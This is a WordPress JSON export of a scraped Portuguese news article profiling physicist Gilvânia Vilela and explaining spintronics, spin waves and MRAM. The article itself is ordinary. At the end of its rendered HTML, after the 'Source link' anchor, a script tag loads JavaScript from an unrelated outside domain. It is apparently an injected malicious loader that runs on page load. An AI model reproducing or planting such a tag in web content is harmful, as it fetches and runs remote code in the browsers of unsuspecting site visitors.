{"id":2536,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/brasileira-e-lider-em-spintronica-e-ajuda-a-criar-computador-quantico\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"brasileira-e-lider-em-spintronica-e-ajuda-a-criar-computador-quantico","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/brasileira-e-lider-em-spintronica-e-ajuda-a-criar-computador-quantico\/","title":{"rendered":"Brasileira \u00e9 l\u00edder em spintr\u00f4nica e ajuda a criar computador qu\u00e2ntico"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p dir=\"ltr\">A cada ano, a ci\u00eancia descobre novas maneiras de fazer caber mais informa\u00e7\u00f5es em chips eletr\u00f4nicos cada vez menores. Essa miniaturiza\u00e7\u00e3o est\u00e1 t\u00e3o avassaladora que j\u00e1 ultrapassou os limites meramente at\u00f4micos da mat\u00e9ria &#8211; chegou no n\u00edvel qu\u00e2ntico.<\/p>\n<p dir=\"ltr\">Inversamente, os sonhos e as perspectivas da pernambucana Gilv\u00e2nia Vilela, 37, se expandem sem parar. Desde pequena, no munic\u00edpio de Cabo de Santo Agostinho, ela desejava entender como o mundo e a natureza funcionam. Sua curiosidade cresceu no ritmo da carreira: hoje ela \u00e9 uma das maiores especialistas no mundo em spintr\u00f4nica, o ramo da f\u00edsica essencial na cria\u00e7\u00e3o dos computadores qu\u00e2nticos.<\/p>\n<p dir=\"ltr\">Oriunda de escolas p\u00fablicas, mulher e nordestina, Gilv\u00e2nia furou a bolha do mercado de tecnologia, predominantemente branco, masculino e de classe m\u00e9dia-alta, para chegar a uma das institui\u00e7\u00f5es mais prestigiadas do mundo: o Massachusetts Institute of Technology (MIT), onde fez sua p\u00f3s-gradua\u00e7\u00e3o, entre 2017 e 2019. No primeiro ano, com bolsa da Capes. No segundo, a convite do pr\u00f3prio MIT.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/88\/2022\/06\/22\/gilvania-vilela-cientista-spintronica-1655912922961_v2_750x421.jpg\" class=\"pinit-img\" alt=\"Vilela, no laborat\u00f3rio do MIT - Arquivo pessoal - Arquivo pessoal\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Vilela, em um dos laborat\u00f3rios do MIT<\/p>\n<p> <span>Imagem: Arquivo pessoal<\/span><\/figcaption><\/figure>\n<\/div>\n<p dir=\"ltr\">A rela\u00e7\u00e3o segue frut\u00edfera at\u00e9 hoje. Atualmente, Gilv\u00e2nia leciona na Universidade de Pernambuco (UPE) e \u00e9 um ponto central no programa MIT Brazil, que leva estudantes do pa\u00eds todo para a institui\u00e7\u00e3o em Cambridge.<\/p>\n<p dir=\"ltr\">&#8220;Quero fazer o que estava ao meu alcance para que essa oportunidade se expanda a mais brasileiros, mostrando a meus alunos que eles podem realizar pesquisas de impacto internacional e se colocar no mercado de forma competitiva&#8221;, explica.<\/p>\n<p dir=\"ltr\">&#8220;Minha estadia no MIT mudou completamente como fa\u00e7o pesquisa. Mostrou a import\u00e2ncia de manter uma rede colaborativa em torno de um tema cient\u00edfico para promover avan\u00e7os r\u00e1pidos.&#8221;<\/p>\n<p dir=\"ltr\">Seu pr\u00f3ximo avan\u00e7o: computadores t\u00e3o poderosos que v\u00e3o revolucionar todos os aspectos da nossa vida.<\/p>\n<h2>O poder do spin<\/h2>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/57\/2022\/07\/14\/arte-do-conceito-spin-do-eletron-fisica-1657812649571_v2_750x421.jpg\" class=\"pinit-img\" alt=\"Arte do conceito spin do el\u00e9tron (f\u00edsica) - Arte\/UOL - Arte\/UOL\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-credit\"><span>Imagem: Arte\/UOL<\/span><\/figcaption><\/figure>\n<\/div>\n<p dir=\"ltr\">Um chip \u00e9 composto por microcircuitos que compactam bilh\u00f5es de transistores. Esses transistores ligam ou desligam de acordo com a passagem de uma corrente el\u00e9trica, gerando assim os &#8220;zeros&#8221; e &#8220;uns&#8221; que est\u00e3o na base de toda a linguagem dos computadores.<\/p>\n<p dir=\"ltr\">A corrente el\u00e9trica nada mais \u00e9 do que uma transfer\u00eancia de el\u00e9trons &#8211; a part\u00edcula com carga negativa que ajuda a compor os \u00e1tomos. S\u00f3 que, com chips cada vez menores, e com capacidades cada vez maiores, a ci\u00eancia agora precisa recorrer a uma propriedade do el\u00e9tron para ativar os transistores: o chamado spin.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-12 col-md-13 col-lg-11  crop-450x600 limit-crop  figure\" style=\"max-width:450px\" data-format=\"vertical\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:450px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/a0\/2022\/07\/14\/infografico-sobre-spin-propriedade-quantica-do-eletron-1657812778202_v2_450x600.jpg\" class=\"pinit-img\" alt=\"Infogr\u00e1fico sobre spin, propriedade qu\u00e2ntica do el\u00e9tron  - Arte\/UOL - Arte\/UOL\" data-crop=\"{&quot;xs&quot;:&quot;300x400&quot;,&quot;lg&quot;:&quot;450x600&quot;}\" width=\"450\" height=\"600\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 133.33333333333331%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-credit\"><span>Imagem: Arte\/UOL<\/span><\/figcaption><\/figure>\n<\/div>\n<p dir=\"ltr\">Ent\u00e3o, se os equipamentos que usavam a corrente el\u00e9trica geraram a eletr\u00f4nica, nada mais natural que a nova gera\u00e7\u00e3o tenha sido denominada de spintr\u00f4nica. E ela n\u00e3o \u00e9 apenas o &#8220;futuro&#8221;: ela j\u00e1 est\u00e1 aqui.<\/p>\n<p dir=\"ltr\">&#8220;A maioria dos sensores para a leitura da cabe\u00e7a do disco r\u00edgido [de um computador] j\u00e1 usam um efeito do spin, chamado magnetorresist\u00eancia gigante&#8221;, explica Gilv\u00e2nia.<\/p>\n<p dir=\"ltr\">O que o futuro nos reserva \u00e9 uma aplica\u00e7\u00e3o ainda mais ampla. O spin aumenta a velocidade de processamento de informa\u00e7\u00f5es de maneira t\u00e3o dr\u00e1stica que permite at\u00e9 o desenvolvimento de novos algoritmos computacionais.<\/p>\n<p dir=\"ltr\">&#8220;\u00c9 uma demanda natural com a populariza\u00e7\u00e3o do big data [ci\u00eancia que analisa quantidades gigantescas de dados simultaneamente] e a chegada da Internet das Coisas <em>[IOT, na sigla em ingl\u00eas]<\/em>, por exemplo. V\u00e1rios dispositivos precisam estar interligados, ent\u00e3o a velocidade de processamento precisa ser maior. H\u00e1 urg\u00eancia em desenvolver esses meios&#8221;, continua.<\/p>\n<h2>Mercado (des)aquecido<\/h2>\n<p dir=\"ltr\">Na eletr\u00f4nica, a passagem da corrente el\u00e9trica gera perda energ\u00e9tica na forma de calor. Voc\u00ea certamente j\u00e1 notou isso na pr\u00e1tica, quando seu computador processou muita informa\u00e7\u00e3o, como em um game muito complexo. A ventoinha (ou &#8220;cooler&#8221;) \u00e9 acionada para ajudar a resfriar o equipamento.<\/p>\n<p dir=\"ltr\">A spintr\u00f4nica oferece uma solu\u00e7\u00e3o para esse problema &#8211; e esse \u00e9 exatamente um dos focos de Gilv\u00e2nia atualmente. Ela estuda como excitar e controlar ondas de spin para transportar dados sem perdas de energia por aquecimento, o que melhoraria a performance dos computadores.<\/p>\n<p dir=\"ltr\">&#8220;\u00c9 como quando a gente joga uma pedrinha no lago e ela forma ondas que se propagam. Ondas de spin podem ser excitadas propositalmente e controladas para transportar informa\u00e7\u00e3o sem corrente el\u00e9trica associada&#8221;, explica Gilv\u00e2nia Vilela.<\/p>\n<p dir=\"ltr\">&#8220;Sem corrente el\u00e9trica associada&#8221; \u00e9 um ponto-chave: sua pesquisa tamb\u00e9m pode ajudar a desenvolver mem\u00f3rias magn\u00e9ticas n\u00e3o vol\u00e1teis ou mem\u00f3rias spintr\u00f4nicas (MRAM&#8217;s). Ou seja: a informa\u00e7\u00e3o \u00e9 armazenada mesmo sem alimenta\u00e7\u00e3o de energia el\u00e9trica, porque elas fazem uso de materiais magn\u00e9ticos para a grava\u00e7\u00e3o de dados.<\/p>\n<p dir=\"ltr\">A expectativa, segundo Gilv\u00e2nia, \u00e9 que a tecnologia seja barateada nos pr\u00f3ximos oito anos e at\u00e9 2030 consiga atingir uma escala industrial. Por\u00e9m, assim como tantos outros avan\u00e7os no passado, essas inova\u00e7\u00f5es v\u00e3o chegar primeiro na ind\u00fastria e em setores mais endinheirados. S\u00f3 depois no consumidor final.<\/p>\n<p dir=\"ltr\">&#8220;O maior vislumbre \u00e9 desenvolver coisas para a \u00e1rea de rob\u00f3tica, medicina, distribui\u00e7\u00e3o e energia, intelig\u00eancia artificial, machine learning, defesa. E s\u00e3o aplica\u00e7\u00f5es diversas, n\u00e3o s\u00f3 em computador&#8221;, afirma.<\/p>\n<p dir=\"ltr\">&#8220;Existe uma corrida intensa e muito investimento de \u00f3rg\u00e3os internacionais aplicado nessa \u00e1rea de pesquisa. Ela ser\u00e1 a revolu\u00e7\u00e3o da computa\u00e7\u00e3o por meio de mec\u00e2nica qu\u00e2ntica. As principais institui\u00e7\u00f5es de pesquisa do mundo est\u00e3o desenvolvendo projetos sobre esse t\u00f3pico \u2014 inclusive com a participa\u00e7\u00e3o de brasileiros. A nossa sociedade demanda por computadores melhores&#8221;, conclui.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/07\/18\/conheca-a-cientista-brasileira-a-frente-da-reinvencao-dos-computadores.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A cada ano, a ci\u00eancia descobre novas maneiras de fazer caber mais informa\u00e7\u00f5es em chips eletr\u00f4nicos cada vez menores. Essa miniaturiza\u00e7\u00e3o est\u00e1 t\u00e3o avassaladora que j\u00e1 ultrapassou os limites meramente at\u00f4micos da mat\u00e9ria &#8211; chegou no n\u00edvel qu\u00e2ntico. Inversamente, os sonhos e as perspectivas da pernambucana Gilv\u00e2nia Vilela, 37, se expandem sem parar. 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